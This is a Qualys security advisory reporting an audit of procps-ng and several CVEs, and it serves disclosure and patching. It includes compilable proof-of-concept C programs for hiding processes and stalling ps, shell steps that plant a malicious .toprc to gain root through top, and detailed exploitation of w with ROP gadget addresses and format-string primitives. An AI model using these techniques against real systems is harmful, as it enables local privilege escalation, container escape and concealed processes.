Qualys Security Advisory Procps-ng Audit Report ======================================================================== Contents ======================================================================== Summary 1. FUSE-backed /proc/PID/cmdline 2. Unprivileged process hiding 3. Local Privilege Escalation in top (Low Impact) 4. Denial of Service in ps 5. Local Privilege Escalation in libprocps (High Impact) 5.1. Vulnerability 5.2. Exploitation 5.3. Exploitation details 5.4. Non-PIE exploitation 5.5. PIE exploitation Acknowledgments Patches.tar.gz.b64 ======================================================================== Summary ======================================================================== We performed a complete audit of procps-ng, the "command line and full screen utilities for browsing procfs, a 'pseudo' file system dynamically generated by the [Linux] kernel to provide information about the status of entries in its process table" (https://gitlab.com/procps-ng/procps). procps-ng contains the utilities free, kill, pgrep, pidof, pkill, pmap, ps, pwdx, skill, slabtop, snice, sysctl, tload, top, uptime, vmstat, w, watch, and the necessary libprocps library. We discovered and submitted patches for more than a hundred bugs and vulnerabilities in procps-ng; for reference, our patches are available at: https://www.qualys.com/2018/05/17/procps-ng-audit-report-patches.tar.gz and base64-encoded at the end of this advisory. In the remainder of this advisory, we present our most interesting findings: 1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120) An attacker can block any read() access to /proc/PID/cmdline by mmap()ing a FUSE file (Filesystem in Userspace) onto this process's command-line arguments. The attacker can therefore block pgrep, pidof, pkill, ps, and w, either forever (a denial of service), or for some controlled time (a synchronization tool for exploiting other vulnerabilities). 2. Unprivileged process hiding (CVE-2018-1121) An unprivileged attacker can hide a process from procps-ng's utilities, by exploiting either a denial of service (a rather noisy method) or a race condition inherent in reading /proc/PID entries (a stealthier method). 3. Local Privilege Escalation in top (CVE-2018-1122) top reads its configuration file from the current working directory, without any security check, if the HOME environment variable is unset or empty. In this very unlikely scenario, an attacker can carry out an LPE (Local Privilege Escalation) if an administrator executes top in /tmp (for example), by exploiting one of several vulnerabilities in top's config_file() function. 4. Denial of Service in ps (CVE-2018-1123) An attacker can overflow the output buffer of ps, when executed by another user, administrator, or script: a denial of service only (not an LPE), because ps mmap()s its output buffer and mprotect()s its last page with PROT_NONE (an effective guard page). 5. Local Privilege Escalation in libprocps (CVE-2018-1124) An attacker can exploit an integer overflow in libprocps's file2strvec() function and carry out an LPE when another user, administrator, or script executes a vulnerable utility (pgrep, pidof, pkill, and w are vulnerable by default; other utilities are vulnerable if executed with non-default options). Moreover, an attacker's process running inside a container can trigger this vulnerability in a utility running outside the container: the attacker can exploit this userland vulnerability and break out of the container or chroot. We will publish our proof-of-concept exploits in the near future. Additionally, CVE-2018-1125 has been assigned to 0008-pgrep-Prevent-a-potential-stack-based-buffer-overflo.patch, and CVE-2018-1126 to 0035-proc-alloc.-Use-size_t-not-unsigned-int.patch. ======================================================================== 1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120) ======================================================================== In this experiment, we add a sleep(60) to hello_read() in https://github.com/libfuse/libfuse/blob/master/example/hello.c and compile it, mount it on /tmp/fuse, and mmap() /tmp/fuse/hello onto the command-line arguments of a simple proof-of-concept: $ gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello $ mkdir /tmp/fuse $ ./hello /tmp/fuse $ cat > fuse-backed-cmdline.c << "EOF" #include #include #include #include #include #include #include #include #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) #define PAGESZ ((size_t)4096) int main(const int argc, const char * const argv[]) { if (argc <= 0) die(); const char * const arg_start = argv[0]; const char * const last_arg = argv[argc-1]; const char * const arg_end = last_arg + strlen(last_arg) + 1; if (arg_end <= arg_start) die(); const size_t len = arg_end - arg_start; if (len < 2 * PAGESZ) die(); char * const addr = (char *)(((size_t)arg_start + PAGESZ-1) & ~(PAGESZ-1)); if (addr < arg_start) die(); if (addr + PAGESZ > arg_end) die(); const int fd = open("/tmp/fuse/hello", O_RDONLY); if (fd <= -1) die(); if (mmap(addr, PAGESZ, PROT_READ, MAP_PRIVATE | MAP_FIXED, fd, 0) != addr) die(); if (close(fd)) die(); for (;;) { sleep(1); } die(); } EOF $ gcc -Wall fuse-backed-cmdline.c -o fuse-backed-cmdline $ ./fuse-backed-cmdline `perl -e 'print "A" x 8192'` Then, if root executes ps (for example): # time ps ax PID TTY STAT TIME COMMAND ... real 1m0.021s user 0m0.003s sys 0m0.017s ======================================================================== 2. Unprivileged process hiding (CVE-2018-1121) ======================================================================== Several procps-ng utilities (pgrep, pidof, pkill, ps, w) read the /proc/PID/cmdline of every process running on the system; hence, an unprivileged attacker can hide a process (albeit noisily) by exploiting a denial of service in procps-ng (for example, the FUSE-backed denial of service, or one of the integer overflows in file2strvec()). Alternatively, we devised a stealthier method for hiding a process: 1/ fork() our process until it occupies the last PID (/proc/sys/kernel/pid_max - 1) or one of the last PIDs; 2/ monitor (with inotify) the /proc directory and the /proc/PID/stat file of one of the very first PIDs, for IN_OPEN events (opendir() and open()); 3/ when these events occur (when a procps-ng utility starts scanning /proc for /proc/PID entries), fork() our process until its PID wraps around and occupies one of the very first PIDs; 4/ monitor (with inotify) the /proc directory for an IN_CLOSE_NOWRITE event (closedir()); 5/ when this event occurs (when the procps-ng utility stops scanning /proc), go back to 1/. This simple method works, because the kernel's proc_pid_readdir() function returns the /proc/PID entries in ascending numerical order. Moreover, this race condition can be made deterministic by using a FUSE-backed /proc/PID/cmdline as a synchronization tool. $ cat > unprivileged-process-hiding.c << "EOF" #include #include #include #include #include #include #include #include #include #include #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) int main(void) { for (;;) { char lost[64]; { const pid_t hi = getpid(); pid_t lo = fork(); if (lo <= -1) die(); if (!lo) { /* child */ lo = getpid(); if (lo < hi) exit(EXIT_SUCCESS); /* parent continues */ for (;;) { if (kill(hi, 0) != -1) continue; if (errno != ESRCH) die(); break; } continue; } /* parent */ if (lo > hi) exit(EXIT_FAILURE); /* child continues */ int status = 0; if (waitpid(lo, &status, 0) != lo) die(); if (!WIFEXITED(status)) die(); if (WEXITSTATUS(status) != EXIT_SUCCESS) die(); printf("%d -> %d -> ", hi, lo); for (;;) { struct stat st; if (--lo <= 0) die(); snprintf(lost, sizeof(lost), "/proc/%d/stat", lo); if (stat(lost, &st) == 0) break; } printf("%d\n", lo); } const int pofd = inotify_init(); if (pofd <= -1) die(); if (inotify_add_watch(pofd, "/proc", IN_OPEN) <= -1) die(); const int lofd = inotify_init(); if (lofd <= -1) die(); if (inotify_add_watch(lofd, lost, IN_OPEN) <= -1) die(); const int pcfd = inotify_init(); if (pcfd <= -1) die(); if (inotify_add_watch(pcfd, "/proc", IN_CLOSE_NOWRITE) <= -1) die(); char buf[sizeof(struct inotify_event) + NAME_MAX + 1]; const struct inotify_event * const evp = (void *)buf; for (;;) { if (read(pofd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die(); if (evp->mask & IN_ISDIR) break; } if (read(lofd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die(); for (;;) { const pid_t hi = getpid(); pid_t lo = fork(); if (lo <= -1) die(); if (lo) exit(EXIT_SUCCESS); /* parent */ /* child */ lo = getpid(); if (lo < hi) { printf("%d -> %d\n", hi, lo); break; } } for (;;) { if (read(pcfd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die(); if (evp->mask & IN_ISDIR) break; } if (close(pofd)) die(); if (close(lofd)) die(); if (close(pcfd)) die(); } die(); } EOF $ gcc -Wall unprivileged-process-hiding.c -o unprivileged-process-hiding $ ./unprivileged-process-hiding Then, if root executes ps (for example): # ps ax | grep '[u]nprivileged-process-hiding' | wc 0 0 0 ======================================================================== 3. Local Privilege Escalation in top (CVE-2018-1122) ======================================================================== If a/ an administrator executes top in a directory writable by an attacker and b/ the HOME environment variable is unset or empty, then top reads its configuration file from the current working directory, without any security check: 3829 static void configs_read (void) { .... 3847 p_home = getenv("HOME"); 3848 if (!p_home || p_home[0] == '\0') 3849 p_home = "."; 3850 snprintf(Rc_name, sizeof(Rc_name), "%s/.%src", p_home, Myname); 3851 3852 if (!(fp = fopen(Rc_name, "r"))) { .... 3865 if (fp) { 3866 p = config_file(fp, Rc_name, &tmp_delay); Although b/ is very unlikely, we developed a simple command-line method for exploiting one of the vulnerabilities in config_file(), when top is not a PIE (Position-Independent Executable). For example, on Ubuntu 16.04.4: $ file /usr/bin/top /usr/bin/top: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e64fe2c89ff07ca4ce5d169078586d2854628a29, stripped First, we dump a clean configuration file to /tmp/.toprc, by running top and pressing the 'W' key: $ cd /tmp $ env -u HOME top W q Second, we add an arbitrary "inspect" command to this configuration file (inspect commands are normally executed when the user presses the 'Y' key): $ echo -e 'pipe\tname\tid>>/tmp/top.%d.%lx' >> .toprc To execute our inspect command without user interaction, we will emulate the 'Y' key by jumping directly into inspection_utility(), at 0x40a989 (the fflush(stdout) is INSP_BUSY's last instruction): 3442 static void inspection_utility (int pid) { .... 3496 case kbd_ENTER: 3497 INSP_BUSY; 3498 Insp_sel = &Inspect.tab[sel]; 3499 Inspect.tab[sel].func(Inspect.tab[sel].fmts, pid); 40a97d: 48 8b 3d 1c f8 20 00 mov 0x20f81c(%rip),%rdi # 61a1a0 40a984: e8 67 7f ff ff callq 4028f0 40a989: 48 63 05 2c f9 20 00 movslq 0x20f92c(%rip),%rax # 61a2bc 40a990: 8b 74 24 74 mov 0x74(%rsp),%esi 40a994: 48 c1 e0 06 shl $0x6,%rax 40a998: 48 03 05 61 11 23 00 add 0x231161(%rip),%rax # 63bb00 40a99f: 48 89 05 12 11 23 00 mov %rax,0x231112(%rip) # 63bab8 40a9a6: 48 8b 78 18 mov 0x18(%rax),%rdi 40a9aa: ff 10 callq *(%rax) 40a9ac: 5b pop %rbx To jump directly into inspection_utility(), we will take control of top's execution flow, by exploiting a vulnerability in config_file(). "sortindx" is read from the configuration file without any sanity check, and is later used by window_show() to access a struct FLD_t which contains a function pointer "sort": 5876 static int window_show (WIN_t *q, int wmax) { .... 5894 qsort(q->ppt, Frame_maxtask, sizeof(proc_t*), Fieldstab[q->rc.sortindx].sort); 40de01: ba 08 00 00 00 mov $0x8,%edx 40de06: 48 c1 e0 05 shl $0x5,%rax 40de0a: 48 8b 88 30 99 61 00 mov 0x619930(%rax),%rcx 40de11: e8 7a 47 ff ff callq 402590 To take control of this function pointer, we will write 0x40a989's LSW (Least Significant Word, 32 bits) into "graph_mems" and 0x40a989's MSW (Most Significant Word, 32 bits) into "summclr", which are read from the configuration file and written to 0x63ed30 (and 0x63ed34), a memory location accessible by 0x619930+(sortindx<<0x5): 3676 static const char *config_file (FILE *fp, const char *name, float *delay) { .... 3710 if (3 > fscanf(fp, "\twinflags=%d, sortindx=%d, maxtasks=%d, graph_cpus=%d, graph_mems=%d\n" 3711 , &w->rc.winflags, &w->rc.sortindx, &w->rc.maxtasks, &w->rc.graph_cpus, &w->rc.graph_mems)) 3712 return p; 3713 if (4 != fscanf(fp, "\tsummclr=%d, msgsclr=%d, headclr=%d, taskclr=%d\n" 3714 , &w->rc.summclr, &w->rc.msgsclr 3715 , &w->rc.headclr, &w->rc.taskclr)) 3716 return p; 406f90: 4d 8d b5 30 ed 63 00 lea 0x63ed30(%r13),%r14 ....... 406fa9: 41 56 push %r14 ....... 406fb3: e8 d8 b7 ff ff callq 402790 ....... 406fca: 49 8d 95 34 ed 63 00 lea 0x63ed34(%r13),%rdx ....... 406fe5: e8 a6 b7 ff ff callq 402790 Next, we modify the configuration file's "graph_mems", "summclr", and "sortindx" accordingly: $ sed -i s/'graph_mems=[0-9]*'/graph_mems=$((0x40a989))/ .toprc $ sed -i s/'summclr=[0-9]*'/summclr=0/ .toprc $ sed -i s/'sortindx=[0-9]*'/sortindx=$(((0x63ed30-0x619930)>>0x5))/ .toprc Last, we turn off the View_MEMORY bit in the configuration file's "winflags", to prevent summary_show() from crashing because of our out-of-bounds "graph_mems": 314 #define View_MEMORY 0x001000 // 'm' - display memory summary 5418 static void summary_show (void) { .... 5499 if (isROOM(View_MEMORY, 2)) { .... 5540 if (w->rc.graph_mems) { .... 5559 ix = w->rc.graph_mems - 1; .... 5572 snprintf(util, sizeof(util), gtab[ix].swap, (int)((pct_swap * Graph_adj) + .5), gtab[ix].type); $ winflags=`grep -m 1 winflags= .toprc | sed s/'.*winflags=\([0-9]*\).*'/'\1'/` $ sed -i s/'winflags=[0-9]*'/winflags=$((winflags&~0x001000))/ .toprc Then, if an administrator executes top in /tmp, without a HOME environment variable (or with an empty HOME environment variable): # cat /tmp/top.* cat: '/tmp/top.*': No such file or directory # cd /tmp # env -u HOME top ... signal 11 (SEGV) was caught by top, please see http://www.debian.org/Bugs/Reporting Segmentation fault (core dumped) # cat /tmp/top.* uid=0(root) gid=0(root) groups=0(root) ======================================================================== 4. Denial of Service in ps (CVE-2018-1123) ======================================================================== ps's functions pr_args(), pr_comm(), and pr_fname() are vulnerable to an mmap-based buffer overflow of outbuf (ps's output buffer): 401 static int pr_args(char *restrict const outbuf, const proc_t *restrict const pp){ 402 char *endp = outbuf; 403 int rightward = max_rightward; 404 int fh = forest_helper(outbuf); 405 406 endp += fh; 407 rightward -= fh; 408 409 if(pp->cmdline && !bsd_c_option) 410 endp += escaped_copy(endp, *pp->cmdline, OUTBUF_SIZE, &rightward); 411 else 412 endp += escape_command(endp, pp, OUTBUF_SIZE, &rightward, ESC_DEFUNCT); 413 414 if(bsd_e_option && rightward>1) { 415 if(pp->environ && *pp->environ) { 416 *endp++ = ' '; 417 rightward--; 418 endp += escape_strlist(endp, pp->environ, OUTBUF_SIZE, &rightward); 419 } 420 } 421 return max_rightward-rightward; 422 } The number of bytes written to endp by the escape*() functions is added to endp (a pointer into outbuf), but never subtracted from OUTBUF_SIZE. Normally "rightward" prevents this buffer overflow, because the maximum number of "cells" written to outbuf is OUTBUF_SIZE, and is equal to the number of "bytes" written to outbuf; but not in escape_str_utf8(): 36 static int escape_str_utf8(char *restrict dst, const char *restrict src, int bufsize, int *maxcells){ .. 50 if (!(len = mbrtowc (&wc, src, MB_CUR_MAX, &s))) .. 78 int wlen = wcwidth(wc); .. 100 memcpy(dst, src, len); 101 my_cells += wlen; 102 dst += len; 103 my_bytes += len; 104 src += len; For example, in the "en_US.UTF-8" locale, the multibyte sequence "\xf4\x81\x8e\xb6" consumes 4 bytes, but only 1 cell, and an easy trigger for one of the outbuf overflows is: $ (A=`python -c 'print "\xf4\x81\x8e\xb6" * 32767'` exec -a `python -c 'print "A" * 65535'` sleep 60) & [1] 2670 # env LANG=en_US.UTF-8 ps awwe PID TTY STAT TIME COMMAND ... Signal 11 (SEGV) caught by ps (procps-ng version 3.3.10). 2670 pts/0 S 0:00ps:display.c:66: please report this bug Segmentation fault This buffer overflow is a denial of service only (not an LPE), because ps mmap()s outbuf and mprotect()s its last page with PROT_NONE (an effective guard page): 2147 void init_output(void){ .... 2164 outbuf = mmap( 2165 0, 2166 page_size * (outbuf_pages+1), // 1 more, for guard page at high addresses 2167 PROT_READ | PROT_WRITE, 2168 MAP_PRIVATE | MAP_ANONYMOUS, 2169 -1, 2170 0 2171 ); .... 2174 mprotect(outbuf + page_size*outbuf_pages, page_size, PROT_NONE); // guard page ======================================================================== 5. Local Privilege Escalation in libprocps (CVE-2018-1124) ======================================================================== ======================================================================== 5.1. Vulnerability ======================================================================== libprocps's file2strvec() function parses a process's /proc/PID/cmdline (or /proc/PID/environ), and creates an in-memory copy of this process's argv[] (command-line argument strings, and pointers to these strings). file2strvec() is called when either PROC_FILLCOM or PROC_FILLARG, but not PROC_EDITCMDLCVT, is passed to openproc() or readproctab() (or PROC_FILLENV but not PROC_EDITENVRCVT). file2strvec() is vulnerable to three integer overflows (of "tot", "c", and "tot + c + align"): 660 static char** file2strvec(const char* directory, const char* what) { 661 char buf[2048]; /* read buf bytes at a time */ 662 char *p, *rbuf = 0, *endbuf, **q, **ret; 663 int fd, tot = 0, n, c, end_of_file = 0; 664 int align; ... 670 /* read whole file into a memory buffer, allocating as we go */ 671 while ((n = read(fd, buf, sizeof buf - 1)) >= 0) { ... 686 rbuf = xrealloc(rbuf, tot + n); /* allocate more memory */ 687 memcpy(rbuf + tot, buf, n); /* copy buffer into it */ 688 tot += n; /* increment total byte ctr */ ... 697 endbuf = rbuf + tot; /* count space for pointers */ 698 align = (sizeof(char*)-1) - ((tot + sizeof(char*)-1) & (sizeof(char*)-1)); 699 for (c = 0, p = rbuf; p < endbuf; p++) { 700 if (!*p || *p == '\n') 701 c += sizeof(char*); ... 705 c += sizeof(char*); /* one extra for NULL term */ 706 707 rbuf = xrealloc(rbuf, tot + c + align); /* make room for ptrs AT END */ To the best of our knowledge, the integer overflows of "c" and "tot + c + align" are not exploitable beyond a denial of service: they result in an mmap-based buffer overflow of rbuf, but with pointers only (pointers to our command-line argument strings, and a NULL terminator). Similarly, we were unable to exploit the integer overflow of "tot" on 32-bit. On 64-bit, however, the integer overflow of "tot" results in a memcpy() of arbitrary bytes (our command-line arguments) to an offset of roughly -2GB below rbuf. Surprisingly, the "xrealloc(rbuf, tot + n)" before the memcpy() does not exit() when "tot" becomes negative, because xrealloc() incorrectly uses an "unsigned int size" argument instead of a size_t (CVE-2018-1126): 66 void *xrealloc(void *oldp, unsigned int size) { ======================================================================== 5.2. Exploitation ======================================================================== To exploit the integer overflow of "tot" on 64-bit, we are faced with several difficulties: - We must defeat NX, ASLR, PIE, full RELRO, SSP (Stack-Smashing Protector), and FORTIFY. - Our exploit must be one-shot, or as close to one-shot as possible: we may use brute-force if the target procps-ng utility is executed by a script, but we have only one chance to exploit this vulnerability if the target utility is executed manually by an administrator. - We have no control over the target utility's command-line arguments, environment variables, or resource limits (it is executed by another user, administrator, or script), and we have no direct channel for an information leak (we have no access to the target utility's output, for example). - We were unable to exploit the integer overflow of "tot" when rbuf is mmap()ed (but we were also unable to prove that it is unexploitable); when the integer "tot" overflows, rbuf is an mmap()ed chunk (its size is roughly 2GB), and because Linux's mmap() is a top-down allocator, we believe that: . rbuf must be allocated in a hole of the mmap-space (to survive the memcpy() at a negative offset below rbuf); . it is impossible to make such a large hole (in procps-ng, calls to the malloc functions are extremely rare). Despite these difficulties, we developed proof-of-concept exploits against the procps-ng utility "w" on Ubuntu 16.04 (a one-shot exploit against a partial RELRO, non-PIE w), Debian 9 and Fedora 27 (a nearly one-shot exploit against a full RELRO, PIE w): if we first force "w" to malloc()ate n_mmaps_max = 64K mmap()ed chunks (whose size is larger than mmap_threshold = 128KB), then malloc() will not call mmap() anymore, but will call brk() instead, even for chunks larger than mmap_threshold. The 2GB rbuf (after the integer overflow of tot) will therefore be allocated on the heap by brk(), and because brk() is a bottom-up allocator, we can easily arrange for the memcpy() at rbuf - 2GB to overwrite the beginning of the heap: - if w is not a PIE, we overwrite libprocps's internal PROCTAB structure and its function pointers; - if w is a PIE, we overwrite the glibc's internal *gettext() structures and transform this memory corruption into a format-string exploit. To force 64K allocations of 128KB (8GB) in w, we need 64K distinct PIDs (each /proc/PID/cmdline allocates 128KB in file2strvec()): consequently, /proc/sys/kernel/pid_max must be greater than 64K (it is 32K by default, even on 64-bit). This is not an unusual setting: large servers (database servers, container and storage platforms) commonly increase the value of pid_max (up to 4M on 64-bit). Besides pid_max, other settings may limit our ability to spawn 64K processes: /proc/sys/kernel/threads-max, RLIMIT_NPROC, and systemd-logind's UserTasksMax. Unlike pid_max, however, these limits are not insuperable obstacles: - they may be naturally greater than 64K, depending on the total number of RAM pages (for /proc/sys/kernel/threads-max and RLIMIT_NPROC) or the value of pid_max (for UserTasksMax); - they may not apply to the attacker's user account (for example, systemd-logind may not at all manage this specific user account); - in any case, we do not need to spawn 64K concurrent processes: if we use /proc/PID/cmdline as a FUSE-backed synchronization tool, we need only a few concurrent processes. ======================================================================== 5.3. Exploitation details ======================================================================== Our proof-of-concept exploit spawns five different types of processes ("main", "mmap", "dist", "wrap", and "srpt"): - a long-lived "main" process, which spawns and coordinates the other processes; - 64K long-lived "mmap" processes, which guarantee that the ~2GB rbufs of our "dist" and "wrap" processes are allocated by brk() in the heap of our future "w" target; the "mmap" processes occupy the lowest PIDs available, to avoid interference from other processes with the heap layout of w; - a long-lived "dist" ("distance") process, whose /proc/PID/cmdline is carefully constructed to cover the exact distance between our target structure (at the beginning of w's heap) and the rbuf of our "wrap" process (at the end of w's heap); - a long-lived "wrap" ("integer wrap") process, which overflows the integer "tot" and overwrites our target structure at the beginning of w's heap (with the memcpy() at rbuf - 2GB); - short-lived "srpt" ("simulate readproctab") processes, which measure the exact distance between our target structure (at the beginning of w's heap) and the rbuf of our "wrap" process (at the end of w's heap); because this distance depends on an accurate list of processes running on the system, our exploit regularly spawns "srpt" processes until the distance stabilizes (it is particularly unstable after a reboot). We use a few noteworthy tricks in this exploit: - we do not fork() but clone() the "mmap" processes (we use the flags CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM | CLONE_SIGHAND, but not CLONE_THREAD, because each process must have its own /proc/PID entry): this is much faster, and significantly reduces the memory consumption of our exploit (the target "w" process itself already consumes over 12GB = 64K*128KB + 2GB + 2GB -- the rbufs for the "mmap", "dist", and "wrap" processes); - we analyze the ~2GB command-line argument strings of our "dist" and "wrap" processes, to detect repeated patterns and replace them with our equivalent file-backed mmap()s (this further reduces the memory consumption of the exploit); moreover, we replace the argv[] pointers of these processes with PROT_NONE mmap()s (hundreds of megabytes that are never accessed); - we initially simulated readproctab() with our own exploit code, but eventually switched to a small LD_PRELOAD library that instruments the real "w" utility and provides more accurate measurements. There is much room for improvement in this proof-of-concept exploit: for example, it depends on the exact distance between our target structure (at the beginning of w's heap) and the rbuf of our "wrap" process (at the end of w's heap), but this distance is hard to measure inside a container, because processes running outside the container are not visible inside the container (brute-force may be a solution if the target utility is executed by a script, but not if it is executed manually by an administrator; better solutions may exist). ======================================================================== 5.4. Non-PIE exploitation ======================================================================== In this section, we describe our simplest proof-of-concept exploit, against the non-PIE "w" on Ubuntu 16.04: we overflow the integer "tot" in file2strvec(), we overwrite the PROCTAB structure and its function pointers, and we jump into the executable segment of w. However, w is very small and contains no useful gadgets, syscall instructions, or library calls. Instead, we use a technique pioneered by Nergal in http://phrack.org/issues/58/4.html ("5 - The dynamic linker's dl-resolve() function"): We jump to the very beginning of w's PLT (Procedure Linkage Table), which calls _dl_runtime_resolve() and _dl_fixup() with a "reloc_arg" that we control (it is read from the stack) and that indexes our own fake Elf64_Rela structure (in w's heap), which in turn indexes a fake Elf64_Sym structure, which in turn indexes a string that we control and that allows us to call any library function, by name (even if it does not appear in w's PLT). The obvious choice here is the "system" function: - the RDI register (the first argument of the function pointer that we overwrote, and hence the command argument of system()) points to the PROCTAB structure, whose contents we control; - we do not need to worry about the privilege dropping of /bin/sh, because w is not a set-user-ID executable. Finally, we must solve two practical problems to use this dynamic-linker technique against w: - our fake ELF structures are located in the heap, but indexed from the executable, and a random gap separates the heap from the executable: we therefore allocate four large areas in the heap (large enough to defeat the randomization of the heap), one for each of our fake structures (Elf64_Rela, Elf64_Sym, "system", and ndx for symbol versioning); - malloc guarantees a 16-byte alignment, but Elf64_Rela and Elf64_Sym are 24-byte structures: luckily, the last 8 bytes of these structures are unused, and we therefore truncate our fake structures to 16 bytes. For example, on Ubuntu 16.04.4, we overwrite the PROCTAB structure with the following ROP chain: procfs taskdir tdu df finder reader tfinder |--------|--------|----+---|--------|--------|--------|------|--------|--------| | id>>/tmp/w.$$ |000|0x4020bb|0x4029db|0x401100| .... |relocarg|0x402a50| |--------|--------|----+---|--------|--------|--------|------|--------|--------| 0xffb8 bytes - the first gadget that we execute, 0x4020bb, pivots the stack pointer to RDI (which points to the very beginning of the PROCTAB structure): "push rdi; ...; pop rsp; pop r13; pop r14; pop r15; pop rbp; ret;" - the second gadget that we execute, 0x4029db, increases the stack pointer by 0xffb8 bytes (it would otherwise crash into the beginning of the heap, because the stack grows down): "ret 0xffb8;" - the third gadget that we execute, 0x401100, calls _dl_runtime_resolve() and _dl_fixup() with our own "relocarg" (this effectively calls system() with the command located at RDI, "id>>/tmp/w.$$"): 401100: ff 35 02 2f 20 00 pushq 0x202f02(%rip) 401106: ff 25 04 2f 20 00 jmpq *0x202f04(%rip) - the fourth gadget that we execute, 0x402a50, makes a clean exit: 402a50: bf 01 00 00 00 mov $0x1,%edi 402a55: e8 36 e7 ff ff callq 401190 <_exit@plt> $ ./w-exploit-Non-PIE positive_tot 2147482113 distance_tot 2147482112 distance 12024752 ... distance 12024752 off 279917264 ver_beg 2e26ce0 ver_end 5426ce0 rel_beg 15f19fb0 rel_end 18519fb0 str_beg 2900d280 str_end 2b60d280 sym_beg 3c100570 sym_end 3e700570 reloc_arg 16957128 nentries 5 POSITIVE_TOT 2147482113 DISTANCE_TO_PT 1 negwrite_off 2147485183 nentries 1 ready Then, if an administrator executes w: # cat /tmp/w.* cat: '/tmp/w.*': No such file or directory # w # cat /tmp/w.* uid=0(root) gid=0(root) groups=0(root) ======================================================================== 5.5. PIE exploitation ======================================================================== In this section, we describe our proof-of-concept exploit against the PIE "w" on Debian 9 and Fedora 27. The first technique that we tried, a partial overwrite of a function pointer in the PROCTAB structure, does not work: - we are limited to a 2-byte overwrite, or else we lose the "one-shot" quality of our exploit (we must brute-force the random bits that we overwrite); - the original function pointer refers to a piece of code in libprocps that offers a very limited choice of gadgets; - file2strvec() ends our command-line argument strings (which overwrite the function pointer) with a null byte, and further reduces the number of available gadgets. Our second, working technique is derived from halfdog's fascinating https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ and transforms libprocps's integer overflow and memory corruption into a format-string exploit: - we overwrite the dirname pointer to "/usr/share/locale" (a member of the struct binding malloc()ated at the very beginning of w's heap by bindtextdomain()) with a pointer to "/tmp" -- we do not need to worry about ASLR, because we arrange for file2strvec() to overwrite dirname with a pointer to our command-line argument strings; alternatively, we could overwrite the "procps-ng" string (malloc()ated at the beginning of w's heap by textdomain()), but this would also overwrite the chunk header of the struct PROCTAB, and would cause a crash in closeproc(); - we thereby control the translation strings returned by the *gettext() functions and the _() macro (the overwritten dirname pointer is used to construct the names of the translation files ".mo") and therefore control two format-strings in w's main(): 591 printf(_("%-*s TTY "), userlen, _("USER")); ... 595 printf(_(" LOGIN@ IDLE JCPU PCPU WHAT\n")); - we exploit the first format-string to create a pointer to a saved RIP on the stack, and we write this pointer to the stack itself; - we use this pointer, and the second format-string, to overwrite the saved RIP with the address of a useful libc gadget (we return into popen() on Debian 9, and wordexp() on Fedora 27). However, unlike halfdog, we cannot defeat ASLR by simply dumping the contents of the stack with a format-string, because we have not access to the output of "w" (it is executed by another user, administrator, or script). Instead, we implement Chris Evans's "read-add-write" primitive https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-advancing-exploitation.html ("Trick #6: co-opting an addition primitive") with format-strings only. With the first format-string: - we "read" the LSW (Least Significant Word, 32 bits) of a stack pointer that is located on the stack itself and hence accessible through the format-string arguments -- for example, the argv pointer; - we "add" a distribution-specific constant to this LSW, to make it point to a saved RIP on the stack -- for example, the saved RIP pushed onto the stack by the call to printf_positional() in vfprintf(); - we "write" this modified LSW to the LSW of another stack pointer that is also located on the stack itself and hence accessible through the format-string arguments -- for example, the argv[0] pointer. With the second format-string: - we "read" the LSW of a libc pointer that is located on the stack and hence accessible through the format-string arguments -- for example, the pointer to __libc_start_main(); - we "add" a distribution-specific constant to this LSW, to make it point to a useful libc gadget -- for example, popen() or wordexp(); - we "write" this modified LSW to the LSW of a saved RIP on the stack: we use the pointer (to the saved RIP) created on the stack by the first format-string. To implement the "read-add-write" primitive: - we "read" the LSW of a pointer (we load it into vfprintf's internal character counter) through a variable-width specifier such as "%*R$x", where R is the position (among the format-string arguments on the stack) of the to-be-read pointer; - we "add" a constant A to this LSW through a constant-width specifier such as "%Ax"; - we "write" this modified LSW to the LSW of another pointer through a specifier such as "%W$n", where W is the position (among the format- string arguments on the stack) of a pointer to the to-be-overwritten pointer (for example, in our first format-string we overwrite the LSW of the argv[0] pointer through the argv pointer, and in our second format-string we overwrite the LSW of a saved RIP through the overwritten argv[0] pointer); in summary: . if we want to "add" a constant to the LSW that we "read", we use a simple format-string such as "%*R$x%Ax%W$n", where A is equal to the constant that we want to add; . if we want to "subtract" a constant from the LSW that we "read", we use a format-string such as "%*R$x%W$n%Ax%W$hn", where A is equal to 65536 minus the constant that we want to subtract (the smaller the constant, the higher the probability of success). This generic technique defeats NX, ASLR, PIE, SSP, and FORTIFY, but it suffers from three major drawbacks: - it requires two different format-strings, because it must reset vfprintf's internal character counter between the two "read-add-write" primitives; - its probability of success is 1/4 (not a one-shot, but not a brute-force either), because the probability of success of each "read-add-write" primitive is 1/2 (the randomized LSW that is "read" as an "int width" must be positive), and the stack is randomized independently of the libc; - it outputs 2*1GB on average (2*2GB at most): this may be acceptable if the target utility is executed by a script or daemon, but not if it is executed manually by an administrator (terminal escape sequences may be used to overcome this drawback, but we did not explore this possibility yet). It is also possible to implement distribution-specific variants of this generic technique: for example, we developed a Debian-specific version of our "w" exploit that requires only one format-string, has an 11/12 probability of success (nearly one-shot), and outputs only a few kilobytes. This is left as an exercise for the interested reader. ======================================================================== Acknowledgments ======================================================================== We thank Craig Small and the members of linux-distros@openwall and security@kernel. ======================================================================== Patches.tar.gz.b64 ======================================================================== H4sICN8J/FoCA1BhdGNoZXMudGFyAOxcfXvbNpLPv+GnmOh2Y8oSZb5IoiTHab2JneQuL77I2c1t 6kcPSIISbYpkScqyuu13vxmAb5KdzTZtk7tnw8epSBAYDAYDzG8Gw56x3F3w7ODeH3jpeNmDgfjF 